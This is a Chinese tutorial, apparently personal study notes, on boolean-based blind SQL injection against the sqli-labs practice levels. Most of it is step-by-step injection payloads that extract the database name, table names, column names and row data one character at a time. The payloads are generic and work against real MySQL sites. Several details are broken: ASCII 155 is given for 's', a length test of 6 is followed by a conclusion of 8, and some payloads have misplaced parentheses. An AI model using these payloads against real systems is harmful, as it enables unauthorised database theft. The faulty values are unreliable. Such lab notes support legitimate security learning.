布尔型盲注

原理

语句正确，页面返回正确；语句错误，页面返回错误。

盲注常用的函数

函数	功能
length()	返回字符串的长度
substr()	用来截取字符串
ascii()	返回字符adcii码
sleep()
if(ex1,ex2,ex3)	判断语句，ex1正确执行ex2，错误执行ex3

注入流程

1.判断是否存在注入

1' and 1=1--+
1' and 1=2--+
根据以上payload,观察页面显示，来判断注入类型

2.猜解当前数据库名
-猜长度

1' and length(database())=1
1' and length(database())=2
//若猜测正确，页面会显示代表正确的字符

有个疑问，在sqli-labs第8关，#注释符，没有起作用，用--+可以，或%23

二分法逐字猜解

1' and ascii(substr(database(),1,1))>97--+
1' and ascii(substr(database(),1,1))<122--+
1' and ascii(substr(database(),1,1))<109--+

3.猜解表名

猜解表的数量

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1--+

猜解第一个表名的长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2--+

猜解第一个表的名字

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97--+

4.猜解表中的字段名

猜解字段的数量

1' and (select count(column_name) from information_schema.columns where table_name='表名')=1 --+

猜解第一个字段的长度

1’ and length(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1))=1--+

猜解第一个字段名

1’ and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))>97--+

5.猜解数据

二分法猜解数据
1' and ascii(substr((select 列名 from 表名 limit 0,1),1,1))>96--+
暴力猜解
1' and (select count(*) 表名 where 列名=‘xxx’)=1--+

举个例子(sqli_labs6)

手工注入

确定是否存在注入点(本质：使参数闭合)

以'来判断是否出错

再以"来尝试

2.构造正确逻辑，观察是否返回正确结果。返回正确结果是我们想要的

3.构造错误逻辑，观察是否有结果返回。不返回是我们想要的

猜解当前数据库名

1.猜数据库的长度

?id=1' and length(database())=6--+

通过大于7显示，小于8报错，得出数据库的长度为8
2.采取数据库名

通过ascii码表，可知小写字母a-z的十进制数为97-122 大写字母A-Z为65-90,下划线_为95。
判断的时候，以97-122为第一判断范围，且数据库不区分大小写。
我们以当前数据库为例

数据库的第一个字母的ascii值：155，对应字母s

数据库的第二个字母的ascii值：101，对应字母e

数据库的第三个字母的ascii值：99，对应字母c

数据库的第四个字母的ascii值：117，对应字母u

数据库的第五个字母的ascii值：114，对应字母r

数据库的第六个字母的ascii值：105，对应字母i

数据库的第七个字母的ascii值：116，对应字母t

数据库的第八个字母的ascii值：116，对应字母y

猜表名

猜数据库中有几张表

2.猜第x张表名长度

and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)=xx
上述payload是猜第一张表名的长度，如果要猜第二张表的语句呢？length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)=xxx

可以得出下表结论

第x张表名	长度
1	6
2	8
3	7
4	5
3.猜表名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97

如果在小写范围内没匹配到且在长度范围内，多半是_

| 101 | 109 | 97 | 105 | 108 | 115 |
| ---- | ---- | ---- | ---- | ---- | ---- |
| e | m | a | i | l | s |

猜列名

猜确定表中有几列1
--and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=1--+

有2列
确定列的长度

and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1),1))=1--+

得到结论：
| 第x列 | 列名数量 |
| ----- | -------- |
| 1 | 2 |
| 2 | 8 |
3.确定列的名字
and substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails'),1,1)='a'--+

通过上图，得到结论：第一列名称是id（mysql是不区分大小写的）